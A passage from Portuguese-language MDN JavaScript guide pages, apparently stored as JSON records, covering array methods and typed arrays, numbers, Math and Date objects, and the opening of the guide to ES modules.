comprimento resultante do array.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\");\nmyArray.push(\"3\"); // myArray é agora [\"1\", \"2\", \"3\"]\n```\n\n\n`pop()` remove o último elemento de um array e retorna esse elemento.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\");\nvar ultimo = myArray.pop();\n// myArray é agora [\"1\", \"2\"], ultimo = \"3\"\n```\n\n\n`shift()` remove o primeiro elemento de um array e retorna esse elemento.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\");\nvar primeiro = myArray.shift();\n// myArray agora é [\"2\", \"3\"], primeiro é \"1\"\n```\n\n\n`unshift()` adiciona um ou mais elementos ao início do array e retorna o novo comprimento do array.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\");\nmyArray.unshift(\"4\", \"5\");\n// myArray torna-se [\"4\", \"5\", \"1\", \"2\", \"3\"]\n```\n\n\n`slice(start_index, upto_index)` extrai uma seção de um array e retorna um novo array.\n\n\n```js\nvar myArray = new Array(\"a\", \"b\", \"c\", \"d\", \"e\");\nmyArray = myArray.slice(1, 4); // inicia no índice 1 e extrai todos os elementos\n// até o índice 3, retornado [ \"b\", \"c\", \"d\"]\n```\n\n\n`splice(index, count_to_remove, addElement1, addElement2, ...)` remove elementos de um array e (opcionalmente) o substitui, e retorna os itens que foram removidos do array.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\", \"4\", \"5\");\nmyArray.splice(1, 3, \"a\", \"b\", \"c\", \"d\");\n// myArray é agora [\"1\", \"a\", \"b\", \"c\", \"d\", \"5\"]\n// Este código iniciou no índice um (ou onde o \"2\" estava),\n// removeu 3 elementos a partir dali, e então inseriu todos os elementos\n// consecutivos em seus lugares.\n```\n\n\n`reverse()` transpõe (inverte) os elementos de um array, *in situ*: o primeiro elemento do array se torna o último e o último torna-se o primeiro, e retorna uma referência para o array.\n\n\n```js\nvar myArray = new Array(\"1\", \"2\", \"3\");\nmyArray.reverse();\n// transpõe o array de modo que myArray = [ \"3\", \"2\", \"1\" ]\n```\n\n\n`sort()` ordena os elementos de um array *in situ*, e retorna uma referência para o array.\n\n\n```js\nvar myArray = new Array(\"Neve\", \"Chuva\", \"Fogo\");\nmyArray.sort();\n// ordena o array de modo que myArray = [ \"Chuva\", \"Fogo\", \"Neve\" ]\n```\n\n\n`sort()` também pode 'pegar' uma função callback para determinar como os elementos do array são comparados.\n\nO método sort, assim como outros métodos abaixo que tomam um callback são conhecidos como *métodos iterativos*, porque eles iteram sobre o array de alguma forma. Cada um pega um segundo argumento opcional chamado `thisObject`. Se fornecido, `thisObject` se torna o valor da palavra chave `this` dentro do corpo da função callback. Se não fornecido, como em outros casos onde uma função é invocada fora do contexto explícito de um objeto, `this` fará referência ao objeto global (`window`).\n\nA função callback é na verdade chamada com três argumentos. O primeiro é o valor do item corrente, o segundo é o índice do array e o terceiro é uma referência ao próprio array. Funções javaScript ignoram qualquer argumento que não são nomeados na lista de parâmetros, portanto é seguro prover uma função callback que toma somente um único argumento, como a função `alert`.\n\nA função abaixo compara dois valores e retorna um dos tres valores: -1, 0 ou 1.\n\nPor exemplo, o seguinte trecho de código vai ordenar pela última letra da string:\n\n\n```js\nvar sortFn = function (a, b) {\n  if (a[a.length - 1] < b[b.length - 1]) return -1;\n  if (a[a.length - 1] > b[b.length - 1]) return 1;\n  if (a[a.length - 1] == b[b.length - 1]) return 0;\n};\nmyArray.sort(sortFn);\n// ordena o array de modo que myArray = [\"Chuva\",\"Neve\",\"Fogo\"]\n```\n\n\n* se `a` for menor que `b` pelo sistema de ordenação, retorna -1 (ou qualquer número negativo)\n* se `a` for maior que `b` pelo sistema de ordenação, retorna 1 (ou qualquer número positivo)\n* se `a` e `b` forem considerados equivalentes, retornará 0.\n\n`indexOf(searchElement[, fromIndex])` busca `searchElement` no array e retorna o índice da primeira ocorrência.\n\n\n```js\nvar a = [\"a\", \"b\", \"a\", \"b\", \"a\"];\nconsole.log(a.indexOf(\"b\")); // mostra 1\n// Agora tente novamente, iniciando após o último resultado de busca\nconsole.log(a.indexOf(\"b\", 2)); // mostra 3\nconsole.log(a.indexOf(\"z\")); // mostra -1, porque 'z' não foi encontrado\n```\n\n\n`lastIndexOf(searchElement[, fromIndex])` funciona como `indexOf`, mas começa no fim e busca de trás para a frente.\n\n\n```js\nvar a = [\"a\", \"b\", \"c\", \"d\", \"a\", \"b\"];\nconsole.log(a.lastIndexOf(\"b\")); // mostra 5\n// Agora tente novamente, iniciando antes do último resultado de busca\nconsole.log(a.lastIndexOf(\"b\", 4)); // mostra 1\nconsole.log(a.lastIndexOf(\"z\")); // mostra -1\n```\n\n\n`forEach(callback[, thisObject])` executa um `callback` em cada item do array e retorna undefined.\n\n\n```js\nvar a = [\"a\", \"b\", \"c\"];\na.forEach(function (element) {\n  console.log(elemento);\n});\n// mostra cada item por vez\n```\n\n\n`map(callback[, thisObject])` retorna um novo array do valor retornado da execução do callback em cada item do array.\n\n\n```js\nvar a1 = [\"a\", \"b\", \"c\"];\nvar a2 = a1.map(function (item) {\n  return item.toUpperCase();\n});\nconsole.log(a2); // logs ['A', 'B', 'C']\n```\n\n\n`filter(callback[, thisObject])` retorna um novo array contendo os items verdadeiros ao executar o callback.\n\n\n```js\nvar a1 = [\"a\", 10, \"b\", 20, \"c\", 30];\nvar a2 = a1.filter(function (item) {\n  return typeof item === \"number\";\n});\nconsole.log(a2); // mostra [10, 20, 30]\n```\n\n\n`every(callback[, thisObject])` retorna verdadeiro se o `callback` retornar verdadeiro para cada item no array.\n\n\n```js\nfunction isNumber(valor) {\n  return typeof valor === \"number\";\n}\nvar a1 = [1, 2, 3];\nconsole.log(a1.every(isNumber)); // mostra true\nvar a2 = [1, \"2\", 3];\nconsole.log(a2.every(isNumber)); // mostra false\n```\n\n\n`some(callback[, thisObject])` retorna verdadeiro se o `callback` retornar verdadeiro para pelo menos um item no array.\n\n\n```js\nfunction isNumber(valor) {\n  return typeof valor === \"number\";\n}\nvar a1 = [1, 2, 3];\nconsole.log(a1.some(isNumber)); // mostra true\nvar a2 = [1, \"2\", 3];\nconsole.log(a2.some(isNumber)); // mostra true\nvar a3 = [\"1\", \"2\", \"3\"];\nconsole.log(a3.some(isNumber)); // mostra false\n```\n\n\n`reduce(callback[, initialValue])` aplica `callback(firstValue, secondValue)` para reduzir a lista de itens para um único valor e retorna este valor.\n\n\n```js\nvar a = [10, 20, 30];\nvar total = a.reduce(function (primeiro, segundo) {\n  return primeiro + segundo;\n}, 0);\nconsole.log(total); // mostra 60\n```\n\n\n`reduceRight(callback[, initalvalue])` funciona como `reduce()`, mas inicia com o último elemento.\n\n`reduce` e `reduceRight` são os métodos iterativos menos óbvios dos arrays. Eles devem ser usados para algorítmos que combinam dois valores de maneira recursiva com a finalidade de reduzir uma sequência para um único valor.\n\n### Arrays multidimensionais\n\nArrays podem ser aninhados, significando que um array pode conter outro array como seu elemento. Usando essa característica dos arrays JavaScript, arrays multidimensionais pode ser criados.\n\nO código a seguir cria dois arrays multidimensionais:\n\n\n```js\nvar a = new Array(4);\nfor (i = 0; i < 4; i++) {\n  a[i] = new Array(4);\n  for (j = 0; j < 4; j++) {\n    a[i][j] = \"[\" + i + \",\" + j + \"]\";\n  }\n}\n```\n\n\nEsse exemplo cria um array com as seguintes linhas:\n```\n\nLinha 0: [0,0] [0,1] [0,2] [0,3]\nLinha 1: [1,0] [1,1] [1,2] [1,3]\nLinha 2: [2,0] [2,1] [2,2] [2,3]\nLinha 3: [3,0] [3,1] [3,2] [3,3]\n```\n\n### Arrays e expressões regulares\n\nQuando um array é o resultado de uma equivalência entre uma expressão regular e um string, o array retorna propriedades e elementos que disponibilizam a informação sobre a correspondência. Um array é o valor retornado de `RegExp.exec()`, `String.match()`, e `String.split()`. Para informações sobre o uso de arrays com expressões regulares, veja Expressões Regulares.\n\n### Trabalhando com objetos array-like\n\nAlguns objetos JavaScript, como a `NodeList` retornada pelo `document.getElementsByTagName()` (en-US) ou o objeto acessível dentro do `arguments` de uma função, se parecem e se comportam superficialmente como arrays, mas não compartilham de todos os seus métodos. O objeto `arguments` fornece um atributo `length` mas não implementa o método `forEach()`, por exemplo.\n\nMétodos Array prototype podem ser chamados contra outros objetos array-like. Por exemplo:\n\n\n```js\nfunction printArguments() {\n  Array.prototype.forEach.call(arguments, function (item) {\n    console.log(item);\n  });\n}\n```\n\n\nMétodos Array prototype também podem ser usados em strings, desde que eles forneçam acesso sequencial a seus caracteres de maneira similar às arrays:\n\n\n```js\nArray.prototype.forEach.call(\"uma string\", function (chr) {\n  console.log(chr);\n});\n```\n\nArrays Tipados\n--------------\n\nArrays tipados no JavaScript são objetos array-like e provêm um mecanismo para acessar dados binários crus. Como você já sabe, objetos `Array` crescem e encolhem dinamicamente e podem ter um valor JavaScript. O motor do JavaScript executa otimizações para que os arrays sejam rápidos. Contudo, à medida que as aplicações web se tornam cada vez mais poderosas, com a adição de funcionalidades como manipulação de áudio e vídeo, acesso a dados crus usando WebSockets, etc., ficou claro que existem momentos em que seria útil para o código JavaScript ser capaz de rapida e facilmente manipular dados binários crus em arrays tipados.\n\n### Buffers e views: arquitetura do array tipado\n\nPara alcançar máxima flexibilidade e eficiência, as views de array tipado do JavaScript dividem a implementação em **buffers** e **views.** Um buffer (implementado pelo objeto `ArrayBuffer`) é um objeto que representa um monte de dados; não possui nenhum formato específico e não oferece nenhum mecanismo para acessar seu conteúdo. Para acessar a memória contida em um buffer, você precisa usar uma view. Uma view provê um contexto — ou seja, um tipo de dado, um offset inicial e número de elementos — que transforma o dado em um array tipado real.\n\n![Typed arrays in an ArrayBuffer](/pt-BR/docs/Web/JavaScript/Guide/Indexed_collections/typed_arrays.png)\n\n### ArrayBuffer\n\nO `ArrayBuffer` é um tipo de dado usado para representar um buffer de dados binários de tamanho fixo genérico. Você não pode manipular diretamente o conteúdo de um `ArrayBuffer;` ao invés disso, você deve criar uma view de array tipado ou uma `DataView` que represente o buffer em um formato específico, e use esta view para ler e modificar o conteúdo do buffer.\n\n### Views de arrays tipados\n\nViews de arrays tipados possuem nomes autodescritivos e provêm views para todos os tipos numéricos usuais como `Int8`, `Uint32`, `Float64` e assim por diante. Existe uma view de array tipado especial, o `Uint8ClampedArray`. Ela fixa os valores entre 0 e 255. Isto é útil para Canvas data processing (en-US), por exemplo.\n\n{{page(\"/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/TypedArray\", \"TypedArray\\_objects\")}}\nPara mais informações, veja Arrays tipados no JavaScript e documentos de referência para os diferentes objetos `TypedArray` (en-US).\n\n* « Previous\n* Next »"}
{"title":"Números e datas - JavaScript","text":"Números e datas\n===============\n\n* « Previous\n* Next »\n\nEste capítulo apresenta como utilizar números e datas em JavaScript.\n\nNúmeros\n-------\n\nEm Javascript, todos os números são implementados em double-precision 64-bit binary format IEEE 754 (Por exemplo, um número entre -(253 -1) e 253 -1). **Não havendo especificação de tipo Integer**. Além de ser capaz de representar números de ponto flutuante, o tipo de número tem três valores simbólicos: `+``Infinity`, `-``Infinity`, and `NaN` (not-a-number). Veja também Estruturas e Tipos de Dados em Javascript em contexto com outros tipos primitivos em JavaScript.\n\nVocê pode usar quatro tipos de números literais: decimal, binário, octal, e hexadecimal.\n\n### Números Decimais\n\n\n```js\n1234567890;\n42;\n\n// Cuidado quando usar zeros à esquerda:\n\n0888; // 888 interpretado como decimal\n0777; // interpretado como octal em modo no-strict (511 em decimal)\n```\n\n\nNote que literais decimais podem começar com zero (`0`) seguido por outro digito decimal, porém se o próximo dígito depois do primeiro zero for menor do que 8, o número será analisado como um número octal.\n\n### Números Binários\n\nA sintaxe para números Binários, usa um zero à esquerda seguido de uma letra minúscula ou maiúscula \"B\" (`0b` or `0B`). Se os dígitos depois de 0b não forem 0 ou 1, a seguinte exceção `SyntaxError` (en-US) é lançada: \"Missing binary digits after 0b\".\n\n\n```js\nvar FLT\\_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648\nvar FLT\\_EXPONENT = 0b01111111100000000000000000000000; // 2139095040\nvar FLT\\_MANTISSA = 0b00000000011111111111111111111111; // 8388607\n```\n\n### Números octais\n\nA sintaxe dos números octais usa um zero na frente. Se os dígitos depois do 0 estiverem fora do alcance 0 a 7, o número será interpretado como um número decimal.\n\n\n```js\nvar n = 0755; // 493\nvar m = 0644; // 420\n```\n\n\nModo estrito no ECMAScript 5 proíbe a sintaxe octal. A sintaxe Octal não é parte do ECMAScript 5, mas é suportada por todos os navegadores prefixando o número octal com zero: `0644 === 420` e `\"\\045\" === \"%\"`. Em ECMAScript 6 números Octais são suportados prefixando o número com \"`0`o\" isto é.\n\n\n```js\nvar a = 0o10; // ES6: Octal\n```\n\n### Numeros hexadecimais\n\nA sintaxe numérica Hexadecimal usa um 0 na frente seguido por uma letra \"X\" maiúscula ou minúscula (`0x` ou `0X)`. Se os dígidos depois do 0x estiverem fora do alcance (0123456789ABCDF), o seguinte erro de sintaxe (`SyntaxError` (en-US)) ocorrerá: \"Identifier starts immediately after numeric literal\" (O identificador começa imediatamente depois do literal numérico).\n\n\n```js\n0xfffffffffffffffff; // 295147905179352830000\n0x123456789abcdef; // 81985529216486900\n0xa; // 10\n```\n\n### Exponenciação\n\n\n```js\n1e3; // 1000\n2e6; // 2000000\n0.1e2; // 10\n```\n\n`Objeto Number`\n---------------\n\nUm objeto built-in `Number` tem propriedades para constantes numéricas, tais como valor máximo, não número e infinito. Você não pode alterar os valores dessas propriedades e elas são usadas assim:\n\n\n```js\nvar maiorNum = Number.MAX\\_VALUE; //Valor máximo\nvar menorNum = Number.MIN\\_VALUE; //Valor mínimo\nvar infiniteNum = Number.POSITIVE\\_INFINITY; //Infinito positivo\nvar negInfiniteNum = Number.NEGATIVE\\_INFINITY; //Infinito negativo\nvar notANum = Number.NaN; //Não é numeral\n```\n\n\nVocê sempre se refere a uma propriedade do objeto predefinido `Number` como mostrado acima, e não como uma propriedade de um objeto `Number que você mesmo criou.`\n\nA tabela à seguir sumariza as propriedades do objeto `Number.`\n\n| Propriedade | Descrição |\n| --- | --- |\n| `Number.MAX_VALUE` | O maior número representável. |\n| `Number.MIN_VALUE` | O menor número representável. |\n| `Number.NaN` | Valor \"not a number\" especial |\n| `Number.NEGATIVE_INFINITY` | Valor especial infinito negativo; retornado em overflow |\n| `Number.POSITIVE_INFINITY` | Valor especial infinito positivo; retornado em overflow |\n| `Number.EPSILON` | Diferença entre um e o menor valor maior do que um que pode ser representado como um `Number`. |\n| `Number.MIN_SAFE_INTEGER` | Mínimo safe integer em JavaScript. |\n| `Number.MAX_SAFE_INTEGER` | Máximo safe integer em JavaScript. |\n\n| Método | Descrição |\n| --- | --- |\n| `Number.parseFloat()` | Analisa um argumento string e retorna um número float. O mesmo que a função global `parseFloat()`. |\n| `Number.parseInt()` | Analisa um argumento string e retorna um inteiro da raiz ou base especificada. O mesmo que a função global`parseInt()`. |\n| `Number.isFinite()` | Determina se o valor passado é um número finito. |\n| `Number.isInteger()` | Determina se o valor passado é um inteiro. |\n| `Number.isNaN()` | Determina se o valor passado é `NaN`. A versão mais robusta da original `isNaN()`. |\n| `Number.isSafeInteger()` | Determina se o valor passado é um safe integer. |\n\nO protótipo `Number` provê métodos para resgatar informações de objetos `Number` em vários formatos. A tabela a seguir sumariza os métodos de `Number.prototype`.\n\n| Método | Descrição |\n| --- | --- |\n| `toExponential()` (en-US) | Retorna uma string representando o número em uma notação exponencial. |\n| `toFixed()` | Retorna uma string representando o número em notação com ponto-fíxo. |\n| `toPrecision()` | Retorna uma string representando o número em uma precisão especificada na notação de ponto-fíxo. |\n\n`Objeto Math`\n-------------\n\nO objeto `Math` tem propriedades e métodos para constantes matemáticas e funções. Por exemplo, o `PI do objeto` Math tem o valor de pi (3,141...), que você usaria em uma aplicação como\n\n\n```js\nMath.PI;\n```\n\n\nSimilarmente, funções matemáticas padrão são métodos do Math. Isto inclui funções trigonométricas, logarítmicas, exponenciais, e outras funções. Por exemplo, se você quiser usar a função trigonométrica seno, basta escrever\n\n\n```js\nMath.sin(1.56);\n```\n\n\nNote que todos os métodos trigonométricos pegam argumentos em radianos.\n\nA tabela a seguir sumariza os métodos do objeto Math.\n\n| Método | Descrição |\n| --- | --- |\n| `abs()` | Valor absoluto |\n| `sin()`, `cos()`, `tan()` | Funções trigonométricas padrão; Argumentos em radianos |\n| `asin()`, `acos()`, `atan()`, `atan2()` | Funções trigonométricas inversas; retorna valores em radianos |\n| `sinh()`, `cosh()`, `tanh()` | Funções trigonométricas hiperbólicas; retorna valores em radianos. |\n| `asinh()`, `acosh()`, `atanh()` | Funções trigonométricas hiperbólicas inversas; retorna valores em radianos. |\n| `pow()`, `exp()`, `expm1()`, `log10()`, `log1p()`, `log2()` | Funções exponenciais e logarítmicas. |\n| `floor()`, `ceil()` | Retorna o maior/menor inteiro que é menor/maior inteiro que ou igual ao argumento. |\n| `min()`, `max()` | Retorna menor ou maior (respectivamente) de uma lista separada por vírgula de argumentos numéricos |\n| `random()` | Retorna um número aleatório entre 0 e 1. |\n| `round()`, `fround()` (en-US), `trunc()`, | Funções de arredondamento e truncamento. |\n| `sqrt()`, `cbrt()`, `hypot()` | Raiz quadrada, raiz cúbica, raiz quadrada da soma de argumentos ao quadrado. |\n| `sign()` | O sinal de um número, indicando se o número é positivo, negativo ou zero. |\n| `clz32()`, `imul()` (en-US) | Número de zeros à esquerda na representação binária de 32-bits. The result of the C-like 32-bit multiplication of the two arguments. |\n\nDiferentemente de muitos outros objetos, você nunca cria um objeto Math por conta própria. Você sempre deve utilizar o objeto Math nativo.\n\n`Objeto Date`\n-------------\n\nJavaScript não possui dados do tipo data. No entanto, você pode usar o objeto `Date` e seus métodos para trabalhar com datas e horas nas suas aplicações. O objeto Date tem um grande número de métodos para setar, recuperar e manipular datas. Ele não tem nenhuma propriedade.\n\nJavaScript manipula datas de maneira semelhante ao Java. As duas linguagens tem muitos dos mesmos métodos para lidar com datas e ambas armazenam datas como números em milisegundos, desde 1 de janeiro de 1970, às 00:00:00 ( January 1, 1970, 00:00:00).\n\nA abrangência do objeto Date é de -100,000,000 dias até 100,000,000 dias relativos a 01 de janeiro de 1970 UTC.\n\nPara criar um objeto Date:\n\n\n```js\nvar dateObjectName = new Date([parameters]);\n```\n\n\nonde `dateObjectName` é o nome do objeto Date que está sendo criado; ele pode ser um novo objeto ou uma propriedade de um objeto existente.\n\nA chamada de Date sem a palavra reservada `new`, simplesmente converte a data para uma representação dela como string.\n\nOs `parâmetros` do código acima podem ser qualquer um a seguir:\n\n* Nada: cria a data e hora de hoje. Por exemplo, `today = new Date();.`\n* Uma string representando uma data da seguinte forma: \"Mês dia, ano, horas:minutos:segundos\". Por exemplo, `Xmas95 = new Date(\"25 de dezembro de 1995, 13:30:00\")`. Se você omitir as horas, minutos ou segundos, o valor será setado para zero.\n* Um conjunto de valores inteiros para ano, mês e dia. Por exemplo, `var Xmas95 = new Date(1995, 11, 25)`.\n* Um conjunto de valores inteiros par ano, mês, dia, hora, minuto e segundos. Por exemplo, `var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);`.\n### Métodos do objeto Date\n\nOs métodos do objeto Date para manipular data e hora pertencem às seguintes categorias:\n\n* Métodos \"set\", para setar valores de data e hora em objetos Date.\n* Métodos \"get\", para recuperar valores de data e hora de objetos Date.\n* Métodos \"to\", para retornar valores de string de objetos Date.\n* Métodos parse e UTC, para parsear string de Data.\n\nCom os métods \"get\" e \"set\", você pode recuperar e setar segundos, minutos, horas, dia e mês, dia da semana, meses e anos, separadamente. Existe um método `getDay` que retorna o dia da semana, mas não existe um método `setDay` correspondente, porque o dia da semana é setado automaticamente. Estes métodos utilizam números inteiros para representar estes valores da seguinte maneira:\n\n* Segundos e minutos: de 0 a 59\n* Horas: de 0 a 23\n* Dia: 0 (Domingo) a 6 (Sábado)\n* Data: 1 a 31 (dia do mês)\n* Meses: 0 (Janeiro) a 11 (Dezembro)\n* Ano: anos desde 1900\n\nPor exemplo, suponha que você queira definir a seguinite data:\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995\");\n```\n\n\nEntão `Xmas95.getMonth()` retorna 11 e `Xmas95.getFullYear()` retorna 1995.\n\nOs métodos `getTime` e `setTime` são úteis para comparar datas. O método `getTime` retorna o número dos milisegundos desde 1 de janeiro de 1970, às 00:00:00 para um objeto Date.\n\nPor exemplo, o código a seguir mostra os números dos dias que ainda faltam do ano vigente:\n\n\n```js\nvar hoje = new Date();\nvar fimAno = new Date(1995, 11, 31, 23, 59, 59, 999); // Seta dia e mês\nfimAno.setFullYear(hoje.getFullYear()); // Seta o ano para esse ano\nvar msPorDia = 24 \\* 60 \\* 60 \\* 1000; // Quantidade de milisegundos por dia\nvar diasRestantes = (fimAno.getTime() - hoje.getTime()) / msPorDia;\nvar diasRestantes = Math.round(diasRestantes); //retorna os dias restantes no ano\n```\n\n\nEste exemplo cria um objeto Date chamado `hoje` que contém a data de hoje. Ele, então, cria o objeto Date chamado `fimAno`e seta o ano para o ano vigente. Então, usando o número de milisegundos por dia, ele computa o número de dias entre hoje e `fimAno`, usando `getTime` e arredondando os números de dias.\n\nO método `parse` é útil para associar valores de strings de data para objetos Date existentes. Por exemplo, o código a seguir usa `parse` e `setTime` para associar um valor de data ao objeto `IPOdate`:\n\n\n```js\nvar IPOdate = new Date();\nIPOdate.setTime(Date.parse(\"Aug 9, 1995\"));\n```\n\n\nNo exemplo a seguir, a função `JSClock()` retorna o tempo no formato de um relógio digital.\n\n\n```js\nfunction JSClock() {\n  var tempo = new Date();\n  var hora = tempo.getHours();\n  var minuto = tempo.getMinutes();\n  var segundo = tempo.getSeconds();\n  var temp = \"\" + (hora > 12 ? hora - 12 : hora);\n  if (hora == 0) temp = \"12\";\n  temp += (minuto < 10 ? \":0\" : \":\") + minuto;\n  temp += (segundo < 10 ? \":0\" : \":\") + segundo;\n  temp += hora >= 12 ? \" P.M.\" : \" A.M.\";\n  return temp;\n}\n```\n\n\nA função `JSClock` primeiro cria um objeto new `Date` chamado tempo; já que nenhum argumento é passado, `tempo` é criado com data e hora atuais. Ela então chama os métodos `getHours`, `getMinutes` e `getSeconds` e associa o valor à hora, minuto e segundo atuais à hora, minuto e segundo.\n\nAs próximas quatro declarações constroem uma string baseada em time. A primeira declaração cria uma variável `temp`, associando um valor utilizando uma expressão condicional; se hora é maior que 12, (hora - 12), senão simplesmente hora, a não ser que hora seja 0 que, nesse caso, será 12.\n\nA próxima declaração anexa um valor `minuto` a `temp`. Se o valor de minuto for menos que 10, a expressão condicional acrescenta uma string com um 0 na frente; senão ela acrescenta uma string com dois pontos. Então a declaração anexa um valor `segundo` a `temp` do mesmo jeito.\n\nFinalmente, a expressão condicional anexa \"P.M.\" a `temp` se `hora` for 12 ou maior; senão ela anexa \"A.M.\" a `temp`.\n\n* « Previous\n* Next »"}
{"title":"Módulos JavaScript - JavaScript","text":"Módulos JavaScript\n==================\n\n* « Previous\n\nEste guia fornece tudo o que você precisa para começar com a sintaxe de módulo do JavaScript.\n\nUm background em módulos\n------------------------\n\nOs programas JavaScript começaram muito pequenos - a maior parte do seu uso nos primeiros dias era para executar tarefas isoladas de script, fornecendo um pouco de interatividade às suas páginas da Web sempre que necessário, de modo que scripts grandes geralmente não eram necessários. Com o avanço rápido da tecnologia agora temos aplicativos completos sendo executados em navegadores com muito JavaScript, além de JavaScript ser usado em outros contextos (Node.js, por exemplo).\n\nPortanto, fez sentido nos últimos anos começar a pensar em fornecer mecanismos para dividir programas JavaScript em módulos separados que podem ser importados quando necessário. O Node.js possui essa capacidade há muito tempo e existem várias bibliotecas e estruturas JavaScript que permitem o uso do módulo (por exemplo, outros CommonJS e AMD-sistemas de módulos baseados em RequireJS, e mais recentemente Webpack e Babel).\n\nA boa notícia é que os navegadores modernos começaram a dar suporte nativamente à funcionalidade do módulo, e é sobre isso que este artigo trata. Isso só pode ser uma coisa boa - os navegadores podem otimizar o carregamento de módulos, tornando-o mais eficiente do que ter que usar uma biblioteca e fazer todo esse processamento extra no lado do cliente e viagens de ida e volta extras.\n\nSuporte do navegador\n--------------------\n\nO uso de módulos JavaScript nativos depende do`import` e `export` afirmações; estes são suportados nos navegadores da seguinte maneira:\n\n### importa\n\n### javascript.statements.import\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### javascript.statements.export\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### exporta\n\n### javascript.statements.import\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### javascript.statements.export\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nApresentando um exemplo\n-----------------------\n\nPara demonstrar o uso dos módulos, criamos um conjunto simples de exemplos que você pode encontrar no GitHub. Estes exemplos demonstram um conjunto simples de módulos que criam um`<canvas>` em uma página da Web e desenhe (e relate informações sobre) formas diferentes na tela.\n\nEstes são bastante triviais, mas foram mantidos deliberadamente simples para demonstrar claramente os módulos.\n\n**Nota:** **Nota: Se você deseja fazer o download dos exemplos e executá-los localmente, precisará executá-los por meio de um servidor da web local.**\n\nExemplo de uma estrutura básica\n-------------------------------\n\nNo nosso primeiro exemplo (consulte basic-modules) nós temos uma estrutura de arquivos da seguinte maneira:\n```\n\nindex.html\nmain.js\nmodules/\n    canvas.js\n    square.js\n```\n\n\n**Nota:** **Nota: Todos os exemplos neste guia têm basicamente a mesma estrutura; o exposto acima deve começar a ficar bem familiar.**\n\nOs dois módulos do diretório modules são descritos abaixo:\n\n* `canvas.js` — contém funções relacionadas à configuração da tela:\n    + `create()` — cria uma tela com uma largura e altura especificadas dentro de um invólucro `<div>` com um ID especificado, que é anexado dentro de um elemento pai especificado. Retorna um objeto que contém o contexto 2D da tela e o ID do wrapper.\n    + `createReportList()` — cria uma lista não ordenada anexada dentro de um elemento de wrapper especificado, que pode ser usado para gerar dados de relatório. Retorna o ID da lista.\n* `square.js` — contém:\n    + `name` — uma constante contendo a string 'square'.\n    + `draw()` — desenha um quadrado em uma tela especificada, com um tamanho, posição e cor especificados. Retorna um objeto que contém o tamanho, a posição e a cor do quadrado.\n    + `reportArea()` — grava a área de um quadrado em uma lista de relatórios específica, considerando seu tamanho.\n    + `reportPerimeter()` — grava o perímetro de um quadrado em uma lista de relatórios específica, considerando seu comprimento.\nAside — `.mjs` versus `.js`\n---------------------------\n\nNeste artigo, usamos extensões .js para nossos arquivos de módulo, mas em outros recursos você pode ver a extensão .mjs usada. A documentação da V8 recomenda isso, por exemplo. Os motivos apresentados são:\n\n* É bom para maior clareza, ou seja, deixa claro quais arquivos são módulos e quais são JavaScript regulares.\n* Ele garante que seus arquivos de módulo sejam analisados como um módulo por tempos de execução, como Node.js, e construir ferramentas como Babel.\n\nNo entanto, decidimos continuar usando .js, pelo menos por enquanto. Para que os módulos funcionem corretamente em um navegador, você precisa garantir que seu servidor os esteja servindo com um cabeçalho Content-Type que contenha um tipo MIME JavaScript, como text / javascript. Caso contrário, você receberá um erro estrito de verificação do tipo MIME, de acordo com as linhas \"O servidor respondeu com um tipo MIME não JavaScript\" e o navegador não executará seu JavaScript. A maioria dos servidores já define o tipo correto para arquivos .js, mas ainda não para arquivos .mjs. Servidores que já veiculam arquivos .mjs incluem corretamente GitHub Pages e `http-server` para Node.js.\n\nTudo bem se você já estiver usando esse ambiente ou se não estiver, mas souber o que está fazendo e tiver acesso (ou seja, você pode configurar o servidor para definir a configuração correta `Content-Type` para arquivos `.mjs`). No entanto, isso pode causar confusão se você não controlar o servidor do qual está servindo arquivos ou publicar arquivos para uso público, como estamos aqui.\n\nPara fins de aprendizado e portabilidade, decidimos manter o`.js`.\n\nSe você realmente valoriza a clareza de usar .mjs para módulos versus usar .js para arquivos JavaScript \"normais\", mas não deseja se deparar com o problema descrito acima, sempre poderá usar .mjs durante o desenvolvimento e convertê-los em .js durante sua etapa de construção.\n\nTambém é importante notar que:\n\n* Algumas ferramentas podem nunca suportar .mjs, comoTypeScript.\n* O atributo `<script type=\"module\">`é usado para indicar quando um módulo está sendo apontado, como você verá abaixo.\nExportando recursos do módulo\n-----------------------------\n\nA primeira coisa que você faz para obter acesso aos recursos do módulo é exportá-los. Isso é feito usando o `export` declaração.\n\nA maneira mais fácil de usá-lo é colocá-lo na frente de qualquer item que você queira exportar para fora do módulo, por exemplo:\n\n\n```js\nexport const name = \"square\";\n\nexport function draw(ctx, length, x, y, color) {\n  ctx.fillStyle = color;\n  ctx.fillRect(x, y, length, length);\n\n  return {\n    length: length,\n    x: x,\n    y: y,\n    color: color,\n  };\n}\n```\n\n\nVocê pode exportar funções, `var`, `let`, `const`, e — como veremos mais tarde - classes. Eles precisam ser itens de nível superior; você não pode usar a exportação dentro de uma função, por exemplo.\n\nUma maneira mais conveniente de exportar todos os itens que você deseja exportar é usar uma única instrução de exportação no final do arquivo do módulo, seguida por uma lista separada por vírgula dos recursos que você deseja exportar envoltos em chaves. Por exemplo:\n\n\n```js\nexport { name, draw, reportArea, reportPerimeter };\n```\n\nImportando recursos para o seu script\n-------------------------------------\n\nDepois de exportar alguns recursos do seu módulo, é necessário importá-los para o script para poder usá-los. A maneira mais simples de fazer isso é a seguinte:\n\n\n```js\nimport { name, draw, reportArea, reportPerimeter } from \"./modules/square.js\";\n```\n\n\nVocê usa o `import` , seguida por uma lista separada por vírgula dos recursos que você deseja importar agrupados em chaves, seguidos pela palavra-chave de, seguida pelo caminho para o arquivo do módulo - um caminho relativo à raiz do site, que para nossa `basic-modules` exemplo seria`/js-examples/modules/basic-modules`.\n\nNo entanto, escrevemos o caminho de maneira um pouco diferente - estamos usando a sintaxe de ponto (.) Para significar \"o local atual\", seguido pelo caminho além do arquivo que estamos tentando encontrar. Isso é 